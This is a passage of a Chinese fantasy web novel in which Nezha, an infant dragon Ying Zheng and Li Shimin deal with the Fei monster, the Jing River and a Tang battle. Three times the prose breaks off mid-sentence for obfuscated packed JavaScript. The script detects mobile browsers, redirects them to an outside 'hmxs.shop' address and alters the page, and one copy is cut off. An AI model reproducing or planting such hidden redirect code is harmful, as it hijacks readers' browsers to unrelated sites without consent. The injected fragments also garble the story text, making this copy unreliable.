当年之事,本就是说不清道不明的罗生门,龙族自然天生偏向龙族,故事里的哪吒也就像个混世魔王,蛮不讲理,见龙就杀,反派boss滤镜拉满。 在这样层层渲染和恐怖威胁下,江河湖海的所有龙族,除了这种刚出生的小龙,没有一条龙没听说过哪吒三太子的大名。 泾水,也就是泾河,泾河龙王看到哪吒和幼龙的组合,思路就歪了,才会这样不客气。 龙王有点挂不住脸,但听闻哪吒奉命而来,僵硬着跳过这个话题,硬聊下去。 “三太子的意思是,你是为除妖而来?” “不然呢?我专程来哄孩子的?”哪吒冷笑,憋着一肚子闷气,很想把龙崽丢了,但到底也没丢。 就这么鼻子不是鼻子,眼睛不是眼睛的,要不是事态紧急,谁也不想继续尬聊。 “是蜚?”嬴政始终记得他是来干什么的,不明白这两位在吵吵什么。 “你会说话的?”哪吒刷地低头,不满道,“那你不为我解释一下?” “解释?”幼崽半懂不懂。 哪吒郁闷地揪着政崽的脸,翻了个白眼,收回绣球,嘟嘟囔囔:“算了,跟你一般见识显得我像三岁小孩。不过你都知道蜚,是你家大龙告诉你的?” “大……龙?”政崽想了想,父亲是龙吗?好像不是?那母亲? 哪吒无语:“你到底是哪家的?父母心真够大的,也不怕你被吃了。龙肝凤髓,那可是一道好菜。” “三太子慎言!”龙王厉声。 哪吒挑眉,似笑非笑地看向泾河龙王,无辜道:“玩笑而已,龙王不会当真吧?龙肝凤髓的龙,不过是些蛇啊鱼啊鳖啊,喝点龙尿都能成龙,泥水里打滚的小妖怪罢了,怎么能跟堂堂龙王比呢?对吧?” 泾河龙王梗着脖子,每句话都听得不舒服,若不是想到无数正在死去的水族,他绝不会与哪吒虚与委蛇。 “三太子不是奉了命吗?” “我不急,不知道龙王你急不急?” 得亏龙族不会高血压,不然泾河龙王这种倔脾气,当场就得进icu。 嬴政受不了了,他直接把灵识放出去,如一条长长的丝线,延着泾水绵延,自己去寻找蜚的踪迹。 “咦?”哪吒再次低头,若有所思。 他不再搭理泾河龙王,抱着崽崽飞出去,恶声恶气地问:“蜚在哪?你知道吗?” 政崽摇摇头。 “没问你这小龙。”哪吒冷冷淡淡地睥睨龙王,“泾水是你的领地,蜚在哪你应该清楚吧?” “跟我来。”泾河龙王拂袖而去,化作龙形,蜿蜒起伏,一几一几地腾空而起,贴着泾河翱翔。 政崽眼睛一亮,马上盯着龙王看,打算学一学对方的飞行方式。 几几几几……到了。 浓厚的妖气已经形成了雾,岸边的草木死了一大片,数以万计的鱼虾尸体就这样暴露在河床上,身上一点水汽都没有了。 怪模怪样的独眼牛状妖兽,堂而皇之地摊在河床上睡大觉,一边睡一边吃,闭着眼睛,暴风吸入。 每一口气吸进去,四周的鱼虾就少一座小山。 这只蜚比政崽吞掉的那只体型大上十倍,逍遥快活的样子,好比神仙。 “我还以为是什么了不得的大妖呢。”哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866473|191767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吒不屑一顾,手一甩,将混天绫与乾坤圈一同掷了出去。 嘴上嚣张,动起手来倒没有轻敌。 反正他是出了名的法宝多,先扔两个探探路。 几乎是在法宝扔出去的同一时间,哪吒觉得手上那点软和的触感消失了。 分量很轻,但哪吒还是发现了不对。 “?” 霎那间天昏地暗,半个天空都是玄色的阴影。 哪吒愕然望去,那玄色的庞然大物携雷霆之势,后发先至,张口就把蜚给吞噬了。 “法天象地?不对!” 蜚刚察觉到危险,睁开眼睛想化为雾气逃跑,混天绫缠绕住它的咽喉,乾坤圈砸到了它的脑袋。 铿锵一声,犹如金石。 奇美而磅礴的画面,仅仅持续了一秒。 哪吒的眼底还残留着那玄龙巨大浩渺的倒影,混天绫迤逦飘荡,华美张扬。 然后就没了。 在蜚消失的时候,混天绫和乾坤圈也消失了。 哪吒:“!” 他不可置信地擦擦眼睛,试图感应和回收他的法宝。 根本感应不到,也回收不了。 小小的龙崽如羽毛般悠然飘落。 哪吒一脸懵逼,冲过去拎起政崽,使劲晃晃:“你把我的法宝吃了?快吐出来!” 政崽无辜地睁着圆眼睛,清澈地映着对面的暴躁扭曲。 “法宝?” “别给我装傻!你都会法天象地了!——不对,法天象地不是这样。——总之你都能吞噬蜚,你肯定知道怎么吐出来。快给我吐!” 嬴政认真思考了很久。 哪吒按捺住焦躁,拎着崽的衣领,等待了很久。 泾河龙王啧啧称奇,不远不近地盯着看,忍着别笑出声。 “我不会吐。” “什么?”哪吒僵硬了。 “我不会。”嬴政干脆道。 “我才不信!像这种天赋神通,怎么可能只能吞噬不能吐出来?”哪吒爆鸣,“不管是饕餮,还是袖里乾坤,都是能吐的!我的混天绫和乾坤圈又不是活物,你都能切断我跟法宝的联系,肯定把它们藏起来了!我不管!你快还给我!” 哪吒气急,把幼崽倒过来,用力甩来甩去,捏脖子掐下巴,拍肚子顶背,所有手段都用尽了。 看起来有点残暴,但鉴于龙王知道混天绫和乾坤圈对哪吒的重要性,便没有阻止。 说实话,龙王也阻止不了。 政崽很快就被摇晕了,像个玩偶似的任他折腾,垂着大尾巴,胳膊腿抖来抖去,活像乖顺无比的水草,随着哪吒的动作飘摇。 哪吒麻了:“……” 他阴森森地威胁道:“你再不还我,我可就不客气了。” “哦。”政崽小声应了,依然顶着一张无辜的脸。 哪吒气急败坏:“你信不信我把你肚子剖开?” 不知道为什么,政崽一点也不慌。本能告诉他,哪吒看起来火冒三丈,但没有危险。 幼崽掀开上衣一角,看了看自己的肚子,慢吞吞回答:“不在肚子里。” “你果然是故意的!” 14. 哪吒要找政崽家长 泾河龙王在边上憋笑:“三太子莫恼,既是天赋神通,刚出生的龙崽,如何能使得炉火纯青?无论什么样的神通,总归是需要时间修炼的。等这后生日后有了长进,自然就能还给三太子了。” “被吞的不是你的法宝,你当然能说风凉话了!” 哪吒余怒未消,手上的动作却松了。 政崽连忙划拉着四肢,歪歪扭扭地站正。 哪吒磨牙磨得吱吱响,含怒道:“还有没有什么妖怪要除了?” 泾河龙王不假思索:“没了,就是这只蜚,它会分身术,不仅在水里作乱,也会上岸散播瘟疫。蜚天克水族,所以我拿它毫无办法。此次,多谢三太子援手。” 哪吒吃软不吃硬,见龙王谢他,也就勉勉强强缓和了一下语气。 “我也是奉命行事,况且,蜚也不是我灭的。” 他郁闷极了,好好地做个任务,把两个法宝做没了,说出去多丢脸啊。 “没别的事我就走了。”哪吒敷衍地道别,风火轮滑出去一段,略微等了等。 泾河龙王没有叫住他,而是愁眉苦脸地看着龟裂的河床。 泾水受到重创,龙王也不好过,无异于剜心断手。他得想法子恢复水位,而这个,哪吒是帮不上忙的。 属性、职位、法宝和技能点等等都不同。 哪吒虽有“三坛海会大神”的册封,但“海”与“河”不一样,泾河龙王也不愿意哪吒插手内务。 蜚克水族,哪吒克蜚,也克龙。 不是必要的事,泾河龙王不想和哪吒继续打交道。 当然,哪吒也不想和他打交道,看他不太顺眼。 来时意气风发,走时哼哼唧唧的哪吒,光明正大地跟踪回家的政崽,缀在孩子身后,双手环胸,冷漠地一路滑行。 嬴政埋头赶路,花都没丢,飘啊飘,一起一落的。 “你在干嘛?”哪吒不解,“飞就飞,干什么动来动去的?” “龙王就是这么飞的。”嬴政一本正经。 “那是因为他原形很长,跟虫子似的,这样省力。你现在又不是原形,拱来拱去闲得慌吗?”哪吒嗤笑。 “对哦。”嬴政茅塞顿开,不学龙王了,改学哪吒,直直地滑行。 “受不了了,你学我干嘛,你也有风火轮?”哪吒吐槽。 “风火轮?”嬴政有点眼馋。 那两个金红的轮子冒着火焰,熠熠生辉,在夜色里十分亮眼。哪吒熟练到不需要分心操控它们,好方便的样子。 “你可不许想坏招。”哪吒顿时警惕,“我是看在你年纪小,才不跟你一般见识的。你不要得寸进尺,再打我风火轮的主意。” “哦。”有点惋惜。 “你在遗憾些什么啊?” “我不是故意,要吃你法宝的。”嬴政解释了一句。 他还太懵懂,只是想帮父母的忙,把妖怪给除掉,根本没有注意到哪吒的法宝击到了蜚身上,也不知道吞噬的时候怎么吐出法宝。 他甚至不知道那两件法宝在哪里,怎么取出来。 就像婴幼儿刚认识自己的手脚一样,他也刚刚在摸索自己的能力,连话都说得不够清楚,遑论其他? “我知道。”哪吒渐渐平静了,“我看你灵根通透,一身清气,就知道你出身与天赋皆不凡。如今的三界,可是非常罕见了。既如此,我去寻你长辈做主就是。” 简而言之,哪吒打算找家长。 哪吒曾经抽过东海龙王三太子的筋,后来四海龙王前往他的家门兴师问罪; 哪吒也曾经打死过石矶的童子,后来石矶找到他的师父问责。 综上,在哪吒的逻辑里,打了小的一定会来老的,那反过来,吃了亏当然要找对方长辈。 小的不懂事,大的必须懂事。 哪吒现在可什么也不怕。 “我阿耶不是龙。”嬴政不想把麻烦带到李世民那里,便停下来,诚心诚意地交代。 “哼。”哪吒不在乎。 好吧,那没法子了。 幼崽继续往前滑,仿佛自己也有个看不见的风火轮。 哪吒看不下去了,告诉他:“你不要老学我。凡人不会飞,若想腾空而行,无非几种道法:御兽、御灵、御器和天赋神通。” 嬴政仰着头,专心地听着,记着。 “我这样是御器,驾驭的是自己的法宝,但我没有法宝也能御风。” 哪吒说着,收起了风火轮。 嬴政东张西望,疑惑道:“不见了。” “因为我收起来了。” “哪里去了?” “在这里。”哪吒随手从袖子里拿出一个小巧的豹皮囊,掂了踮,在幼崽亮晶晶的眼睛里,将它打开。 一道金色光芒窜出来,化为风火轮。 “哇!好神奇!”幼崽不由惊叹,发出没见过世面的欢呼。 哪吒清了清嗓子,忽然不那么着急了,看这小崽子略微顺眼了点。 “这是我师父做的,他很擅长炼法宝。” 太乙真人的护短和他善于炼器这两个特点,可谓声名远播。 哪吒每次出门,身上高低得带十几件法宝,个个都有名堂。 突然觉得自己跑题了,哪吒忙把话题拉回来,法宝全收好,御风而行,放慢速度,悠悠地演示给孩子看。 “有风的时候,就御风。”哪吒随口道,“风就在你脚下。” 嬴政下意识低头,当然没看到风的形状,但丝丝缕缕的凉气轻柔拂面,草叶簌簌,那就是风了。 “要是没有风呢?” “你动起来,不就有风了?”哪吒理所当然道,“况且,风其实一直都有,你是龙,修炼有成则能呼风唤雨,这对你来说,不是难事。” “呼风唤雨……” 嬴政静心感受着空气的流动,风的轨迹在他眼里,犹如数不胜数的丝线,清清楚楚,明明白白。 这些丝线好像是可以拨动的。 他小心地用灵力拨动丝线,肉眼看不见的波光粼粼之后,夜风的力度大了一些,更凉爽了。 哪吒咋舌,提醒道:“你最好别偷偷引雨。” “为什么?” “天庭管得严,就算是龙王,也不许私自降雨。” “为什么?” “都说是天庭管得严了。”哪吒不耐烦,“每日降不降雨,降多少雨,都是有规定的。如果要跳出这个规定,那得开坛做法,布香案祭品,向上请愿,一般用五雷法,召唤风婆云童雷公电母和龙王,才能借雨。” “凭什么?” “什么?”哪吒被反问得一懵。 “凭什么,要天庭管?” 哪吒乐了,不但不觉得这话嚣张,反而笑了起来,越笑越开心。 “你知道吗?就是这句话,引发的封神之战。” 他笑得前仰后合,差点把眼泪笑出来,笑到最后,神情复杂起来,也不再是纯粹的想笑了。 “很多年前,也有很多妖仙不服天庭管束。” “后来呢?” “打了一场,不服的输了,死了,魂魄上了封神榜,不服也得服了。” 嬴政吸了口气:“天庭这么厉害?” “不厉害怎么成为天庭?” 哪吒不愿多说,又怕这天赋太高的孩子触犯天规,小小年纪就身陨,还带了点说不清的道不明的遥望自己童年的感慨,便道,“私自降雨,可是要上斩仙台的。” 他把问题说得严重了些,半真半假地吓唬小孩。 “斩仙台?” “你说话能不能不要老爱重复几个字来问?” “斩仙台。”嬴政努力把上扬的疑问语气压下来,平平淡淡,像在一个字一个字咀嚼。 “算了,更怪了。” 哪吒不再纠结,给出生太晚的小崽讲起当年轰动三界的那个故事的一小段。 “斩仙台,是处决妖仙的地方。当年有只神通广大的猴子,被擒获后上过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白无常拉走同事,跟牧羊犬似的,把一群群鬼魂往一个方向赶,还得注意别有偷溜掉队的。 嬴政看了一会,才飞远了。 天亮之前,他们到了高墌城。 哪吒用了隐身术,大喇喇地跟随在后,顺口评价:“这营扎得不错。你家长辈住这里?” 少顷,嬴政停在了李世民的帐篷外。 哪吒也停了,不仅停了,还往后退了几步。 “你父在这里?”哪吒慎重地问了句。 “嗯嗯。”政崽诚实点头,补充道,“你不要凶他哦,阿耶会哭的。” “谁会哭?”哪吒又退了半步,轻嘶了口气,露出一种难以描述的古怪表情,好像看见杨戬女装戏弄土行孙结果真的嫁给了对方还一胎生了十只哮天犬。 哪吒抬头看看天,低头看看地,立刻改变了主意,努力和颜悦色,云淡风轻,一副世外高人的范儿。 他说:“我突然觉得把法宝放你那儿,也没什么大不了。” “啊?”政崽愣住,“你不要了?” “谁说我不要了?等以后——反正,总归,你迟早是要还我的。” 哪吒说着说着,忽然笑了,意味不明地琢磨道:“你是什么法宝都能吞吗?” “我不知道。” “活物死物都能?” “不知道。” “既然如此……”哪吒嘴角上扬,边后撤便嘀咕,“也不是不能试试。” 他乐呵呵地飞走了,竟然不计较、也不追究两件那么重要的法宝失踪的事了。 为啥? 政崽不明白。 15.谁能比他更头铁 月落星沉,坠兔收光。 忙活了一夜的幼崽,带着香甜的桂花香,像偷溜鬼混的猫咪,在天亮之前,若无其事地回到监护人没被子的被窝里。 他屏住呼吸,动作很轻很轻,把花放到案上,撩开一点披风,缓缓落下,挨到实处,侧躺下来,偷偷摸摸观察李世民的动向。 很好,没有醒,那就可以悄悄靠……诶? 一只大手像如来神掌似的,迅速盖了过来,把大半只政崽都压在掌心。 “阿耶?” 李世民睁开清明的眼睛,没有一点刚被惊醒的迹象,似乎等待很久了。 “你跑出去快三个时辰了。”李世民用力去捏孩子的脸颊,没好气地问,“干什么去了,怎么不跟我说一声?” 要不是似有似无地能感觉到孩子很好,没有被偷被拐生病受伤,李世民能急死。 也真是奇了怪了,他那么警觉的人,怎么会在孩子离开的时候,一点感觉都没有呢? 崽崽那边传来微微的安宁喜悦的波动,好像玩得挺开心,李世民便按下了看不见孩子的焦急,静静等玩够的小崽子回家。 “我有说的。”政崽被捏住了半张脸,语言有点含糊。 他既不怕,也不跑,逻辑顺得很。 “我去泾水,打妖怪!”亮亮的大眼睛宛如湖水里的月亮,琥珀的色泽一弯,纯粹无邪。 “阿娘就有水喝了!” 孩子的世界很小,小到现在只有李世民和长孙无忧。 他天然地亲近他们,也很有主动性,乐意做力所能及的事,减轻他们的负担和麻烦。 “你没有受伤吧?”李世民连忙松开手,揉揉孩子被捏红的脸颊,定睛细看,扒衣服检查。 “没有啦。”幼崽还没骄傲一秒,就急着抢救自己的裤子,跺脚道,“不要脱我的衣服,我没有弄脏。” “在我面前还害羞?”李世民不以为意,“你光屁股我天天见。” “才没有!” “脚还挺干净。”李世民从上到下检查了一遍,摸来摸去,质检合格,才把崽放下。 幼崽的脸红扑扑的,尾巴扑腾扑腾,一会遮前面,一会遮后面,手忙脚乱地穿好衣服。 系带不太好系,手指互相打架,扭来扭去,打成了丑丑的死结。 李世民见崽很精神,就像他感觉到的一样,也就放了心,追问过程。 “是什么妖?还是蜚吗?” “是的。” “几只?” “一只。” “那一共就两只?” “不是,是一只。”政崽试图和父亲说清楚,“老龙王说,是分身。” “老龙王哪位?”李世民心思活泛,“泾河龙王?” “嗯!”政崽给予肯定。 “我倒是听说过他,还以为是传说呢。”李世民颇觉稀奇,仿佛打开了新世界的大门。 原先在杂书传奇里看到的神话,在长辈口中代代相传的奇妙故事,居然活生生出现在眼前。 “蜚死了?” “死了。”这个政崽很笃定。 “那泾水,是不是能恢复了?” “还没有。”政崽失望,“那阿娘怎么办?” 小孩就惦记着母亲没水喝这件事,走的时候惦记,回来还惦记,这个问题不解决,他就永远惦记。 “不知道长安那究竟如何……我得等收到消息,才能告诉你。不过高墌城无事,长安兴许也无事。” 李世民也担心,但是安慰道,“长安那边的庙宇比高墌城多多了,观音庙和三清观香火都鼎盛。吃了凡人这么多香火,要是不能护佑长安,那这些庙都该砸。” 嬴政突然兴奋起来,鼓掌道:“该砸!” “你这么高兴作甚?”李世民忍俊不禁,“砸庙可不是闹着玩的。” “没用,就砸!”孩子说完,还煞有介事地点点头,以作强调。 李世民把爬起来的崽按倒,捏来捏去地玩,跟撸猫一样,笑道:“在外面可别这么说。” “为什么?”好奇宝宝问题一箩筐。 “这百年来,信仰神佛的人甚多。光梁武帝萧衍一个人,就在建康主持修建了七百多座佛寺,还屡次舍身为僧。” “舍身?” “就是想出家当和尚。” “和尚?” “光头。把头发都剃光光,一根也不留。” “不要光头!”人机般的提问触发了关键词,政崽马上反应强烈,下意识捂住自己的脑袋。 幼崽出生时头发就长得很茂盛了,毛茸茸,短短的,李世民清楚地记得,那天破壳时,孩子头发应该没有这么长。 他用手指作参考物,测量了一下,得出结论:“你长高了,头发也长了。” 政崽的双手还抱着脑袋,活像只傻乎乎的可达鸭,闻言呆呆道:“长高了?” 李世民直接把崽塞衣服里,低头叹道:“再这样就不能塞怀里了。” 孩子小小的一点,他又常着铠甲在外,隐藏起来很容易。但孩子长得太快,却是甜蜜的烦恼了。 政崽很懵,忙问:“那怎么办?” “你会不会觉得很挤?” 孩子立即摇摇头。 其实是有点挤的,但他可以忍受。 “快到发起总攻的时候了。”李世民思量着,“若是带上你……” 政崽眼巴巴地看着他,小声说话:“我会很乖的。” “我知道,你一直很乖。” “我不会乱动。” “嗯。”李世民察觉到他的不安,不需要透过那丝丝缕缕的精神联系,单看这孩子揪住他衣襟的小手就知道了。 奶油小馒头一般,骨头都还没长好,紧张地攥成一团,生怕李世民丢下他。 李世民怎么舍得? “我……我会保护你。”政崽脱口而出。 他的眼睛水亮亮的,仰着头,认真而执拗。 “我知道,你已经保护过我了。”李世民忍不住笑意,本是逗孩子玩,却被这孩子哄得心软,差点忘了要交代对方什么。 “不过下次出门,你还是要告诉我一声,得到我同意,不然我会担心的。” “好。”政崽还是眼巴巴望着他,想祈求些什么,却嗫嚅着没有再开口。 李世民自己性格开朗,在爱中长大,乐于付出,也善于得到,看得出孩子的潜台词,便温和地与他对话。 “你想说什么?要说出来,我才知道。” “我……”政崽怕给他添麻烦。 李世民不紧不慢地拨弄孩子头发玩,偶尔摸一下小角,观察它们有没有发芽。 他很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870770|191767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耐心。 “我想……” “我在听。” “我想一直跟着你。”政崽鼓足了勇气。 孩子的脸莫名有点火辣辣的,臊得脸颊微红,不好意思,但着实渴望。 他不想被抛下,一点也不想,哪怕有千万种正当的理由,他就是不想。 可以吗? 可不可以? 嬴政的眼睛里倒映着李世民的笑容,这个人很轻松地给出了他最想要的回答。 “那你就要受点苦了。” “我不怕!” 政崽的眼睛亮了。 天光也亮了。 反攻的计划,从这一日正式开始。 地点还是老地方浅水原,在初期的坚壁不战耗敌方粮草士气起效果之后,薛举的死又给了薛军致命打击,连续有将领私下跑路投靠唐军,军心日益溃散。 巧的是,薛举的谋主郝瑗也病死了,最好的时机到了。 “这就是运用形势的作战方法了。”李世民用浅显的白话,讲给孩子听。 政崽趴在地图上,听得很入神。 这个道理,有种陌生而熟悉的感觉。 在哪听过类似的句子呢? 他想啊想,想到了:“避其锐气,击其惰归?”[1] 李世民惊叹不已,抱起孩子亲亲亲,眼里满是笑意。 “你怎么知道?我都还没教呢,你就会了?我们家政儿真是个天才!” 幼崽一边躲避他的亲亲,一边乐开了花。 “是吗?” “那当然!” 要不是时机不对,就案上那枝带着露水的桂花,李世民都能炫耀给周围所有人看。 可惜眼下太忙,这样温馨的相处,都是夹在军事会议的间隙。 八月底,唐军发起总攻。 李世民先丢梁实去打窝,布阵于浅水原,宗罗睺来战时,梁实却据险不出,空耗敌人士气。 再过两日,李世民又派庞玉率两千部队,到浅水原南边诱敌。 薛仁杲浮躁,断粮断水多时,军心不稳,一看唐军出来了,就以为天降良机,是夺城取粮的最好机会,马上就带主力过去了。 殊不知,这是李世民的诱饵和陷阱。 薛仁杲莽莽撞撞,一头栽进了凶险的陷阱里。而李世民,绝不会让他跑出去。 嬴政乖乖待在阿耶怀里,灵识悄悄放出去,飘到更高的视角俯瞰全局,像在看一幅会动的、实时的沙盘。 敌军倾巢而出,那个“秦”字越发碍眼。 主力被庞玉吸引过去后,李世民亲率精锐,由北突袭,如锋利无比的刀刃切开西瓜,将薛军分成两半,首尾不能相顾。[2] 薛军顿时大乱,宛如一条被拦腰切断的蚯蚓,扭动着,甩出一滩滩血迹。 政崽对这些血迹,几乎无动于衷。 他只顾着注意,李世民处于这战场的什么位置,有没有危险,周围有多少敌人。 当有冷箭袭来时,政崽甚至想帮忙。 他还不清楚自己都能做哪些事,看到那箭向李世民飞来时,就想用灵力去挡。 灵力如水铺出去,还没碰到箭矢,就听到云端传来懒洋洋的声音。 “我劝你最好别掺和。” “为什么?”嬴政学他传音,发出头铁的疑问。 16.诱拐政崽 “会有天谴的。”哪吒非常直白。 “哦。” “?”哪吒对这小龙淡定的反应很不满,借着云头的掩盖,把云往下降了降,法力如风吹过,挡住政崽的灵力。 幼崽的法术自然不能跟他比,顷刻间彼此消融。 李世民却毫发无伤,纵马跃出了那箭的伤害范围,长刀所向,血漫于地。 政崽不高兴了:“你拦我,做什么?” “跟你说话怎么这么费劲呢?天谴!天谴听不懂吗?” 哪吒几乎称得上苦口婆心,甚至还以为自己没说清楚,这孩子真的没听懂,顺便解释了一下。 “一道雷下来就把你劈了。” “雷?” 自他出生以来,还没见识过雷电的威力,也就没有什么实感。 哪吒真的很想引几十道雷下来,劈给这孩子看,但他不是雷公,也懒得走流程,便没好气道:“你尽可以试试,看是你的躯壳比较硬,还是天雷比较硬?” 嬴政心有不甘:“为什么不可以?” “天规是这么定的。” “谁定的?” “问这么多干嘛?” 嬴政对所谓天庭和天规,毫无敬畏之心,听过就算,在没有受到惩罚之前,休想让他服从。 哪吒啧了声,干脆元神出窍,隐藏身形,大喇喇地来到战场上,依然双手环胸,像一个习惯动作。 “我也上过战场,所以可以给你担保,这场仗,没有你帮忙,唐军也会嬴。你不要关心则乱。” 嬴政想了很久,反驳:“之前,我也帮过阿耶。” “怎么帮的?” “我吞了蜚,治好阿耶的病。” “那不一样。”哪吒解释得很细,“疫病是蜚引起的,出手解决,不是很合理吗?但逐鹿不是。人与人之间的战事,只要敌军里没有妖魔鬼怪帮忙,那你就不能用非人的手段参与。” 嬴政陷入沉思。 哪吒继续道:“虽然不是每条天规都有道理,但这条还是比较合理的。当年封神之战闹得太大了,如果你亲历过,也会同意的。” 嬴政听出了弦外之音:“你亲历过?” “当然。”哪吒下巴一抬,“那时候才真是,随便扔个金砖,都能砸中顶级的天才。动不动就打得天昏地暗,日月无光。” “可是你好小。” “说谁小呢!”哪吒炸毛,“我哪里小了?” “哪里都小呀。” 实话实说的小朋友,打出了天真无邪的暴击。 本来就是,哪吒看起来最多像十二岁左右的半大少年,又生得极为秀美,显得更幼了。 无论是身高,还是体型,都是轻盈纤细款的,仿佛抽条的竹子,衣服配饰花里胡哨,不考虑他神仙的身份,其实很像被娇宠长大的富贵公子。 他甚至还用绸带、项圈、绣球之类鲜艳明丽的法宝,更加深了这种印象。 “我可不是小孩子。”哪吒嘟嘟囔囔,“只算这辈子,我都一千六百多岁了。” “这辈子?” “不提了。”哪吒摆摆手,“我来找你,不是来说闲话的。” 他好像不愿意提起陈年旧事。 政崽一边分心关注李世民的动向,一边传音问:“你找我?” “算是吧。”哪吒也不绕弯子,“泾水恢复的太慢了,天天夜里下雨,雨水给的很丰沛了,到现在还没恢复到原来的一半。老龙王半死不活的,九个儿子一个比一个没用。” 他的嫌弃,溢于言表。 “我可以帮忙!”嬴政十分积极。 “要的就是你这句话。”哪吒很满意,“一帮吃干饭的,活了千百年都白活了,我看还不如你。你学什么都很快,一点就透。” 无论是御风,还是传音,都学得快极了。而后者,甚至没人教。 哪吒用了传音,将要传达的意思用法力凝成一线,点对点,传送到小龙灵识处,避免被任何人发现。 嬴政接收到了,就学会了,无师自通。 所以哪吒宁愿来找小小的龙崽,也不想和泾河龙王那一大家子啰嗦。 “但我要留在这里,保护我阿耶。” “他不需要你保护。” “需要的。” “他都杀穿敌军了,你看不见吗?” 哪吒指向战场,跟着李世民奔驰的战马急掠,发带如红蝶飞舞。 非人的神圣,也非人的美丽。 嬴政当然看见了,但他照样担心。 “你要是不跟我去的话,那我去找别人了。实在不行,就找水德星君。”哪吒急性子,说着就作势要飞走。 “我跟你去!”政崽瞬间急了,“但是阿耶这边……” “元神出窍不就好了,留点感应在这里,有危险你再赶回来。——不过我觉得没什么危险,你得信他。” “元神出窍?怎么出?”政崽好奇地瞅着哪吒,灵力绕着他打转。 “我没收过徒弟,我自己学会这个,也不是什么值得效仿的经历,就不能原模原样教你了。” 嬴政没有追问为什么。 他虽然没有李世民那么善于社交,但也能敏锐察觉出周围人的真实情绪,哪吒看着风风火火,其实也有不愿意吐露的伤疤。 再追问下去,很不礼貌。 “我想想,是不是有口诀来着?”哪吒嘀咕着,竟不确定似的,自我怀疑道,“守中抱一,神不外驰?好像不对……炼精化气,炼气化神?好像也不对……” “你忘了?” “谁说我忘了?”哪吒用大声掩盖心虚,“我就没记过!” “你不会?” “胡说八道!我不会我怎么元神出窍的?” 政崽依然狐疑地望他,望得哪吒目移,理直气壮中夹着点恼羞成怒,哼道:“我出窍的时候,就没念过口诀!” “哦。” “你是不是不信?” “我信。”政崽诚实而乖巧地回答,“我看到了。” “你的感知真的挺强的。”哪吒整顿了一下表情,“我不需要口诀,兴许你也不需要。我也不知道怎么教,总之你看我,学就是了,反正你学得很快。” 哪吒说完,就将元神归体这一过程,放慢了十几倍,慢慢吞吞表演给孩子看。 就视觉上而言,仿佛会动的视频逐渐变成了不会动的照片,而后照片渐渐模糊,化为一束流光,从嬴政附近飞到了云层上。 哪吒的身体本是闭着眼睛在睡觉一般,元神一回去,立时便睁开了,由静而动,变化得很自然。 嬴政从头看到尾,疑惑道:“你不在的时候,有人打你怎么办?” “谁敢?”哪吒骄傲昂首。 “没有妖怪敢吗?” “我只是元神暂时出窍,又不是死了。”哪吒随意道,“留几个护体的法宝就是了。” 法宝多,就是这么豪横。 “我没有法宝。”政崽看看自己,有点失落。 哪吒冷笑:“我的混天绫和乾坤圈是被狗吃了?” “我不是狗!”龙崽抗议。 哪吒青眼向天,留了一双白眼给幼崽。 “你真应该庆幸我现在脾气好,修身养性了,不然你这种小东西,早就被我抽筋拿来当腰带了。” 他的元神再次离体,轻轻松松地凝于本体旁边,忽隐忽现。 “学会了没?” 谁家好人这 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这种天赋,连哪吒都不由心喜了。 “你要不要拜我为师?”哪吒突发奇想。 “什么?”政崽忙着赶路,一段一段地减少着距离,宛如在跳格子,感觉很好玩。 “不愿意就算了。”哪吒刚出口就后悔了。 他自己做徒弟的时候,就不是个省心的徒弟,又不像他师父那样精通炼法宝,要真收徒弟,天天收拾烂摊子,还不知道多烦呢。 万一哪天这孩子也死给他看,难道他也要急急忙忙帮孩子复活吗? 想想都觉得头疼。 算了算了。 “拜你为师?”政崽回过神来,开始思考。 这一思考,他就停住不动了。 哪吒走出去老远,忽然感觉不对,一回头,那小家伙就这么傻乎乎待在原地,眨巴眨巴眼睛,问:“什么意思?” 敢情根本没听懂。 “当我没说。”哪吒马上收回一时冲动。 泾水很快出现在他们脚下。 哪吒拉着小朋友的手,往下飘落,点在粼粼的水面上。 “怕水吗?” “不怕。” “也对,毕竟你是龙。” 哪吒带着他,没入水中。 他不需要避水珠或者避水诀,幼崽也不需要,他俩进了水里,就跟回了家一样,行动自由,言谈自然。 “这就是泾河需要的水。”哪吒淡然表述,“你能将这条河,恢复到原本的样子吗?” 政崽觉得很奇怪,方才听哪吒说话时,就有疑问,现在疑问更大了。 “你真的不能吗?” “我真的不能。”哪吒咬定。 “龙王也不能?” “他太弱,太慢了。” “水德星君?”政崽记住了这个神仙的名号,因为他是哪吒单独列出来说的,还沾了个“水”字,听着就像水神之类。 “怎么跟你说呢……”哪吒有点苦恼,斟酌着言辞,“确切地说,不是不行,而是不能。” “为什么?”政崽不明白。 “泾水和渭河交于高陵县。这地方,在咸阳附近,也在骊山附近。” 哪吒顿了顿,神情微妙,“显然,谁都不敢在骊山旁边造次。一不小心,可是会很麻烦的。” “骊山……”嬴政喃喃,心中一动。 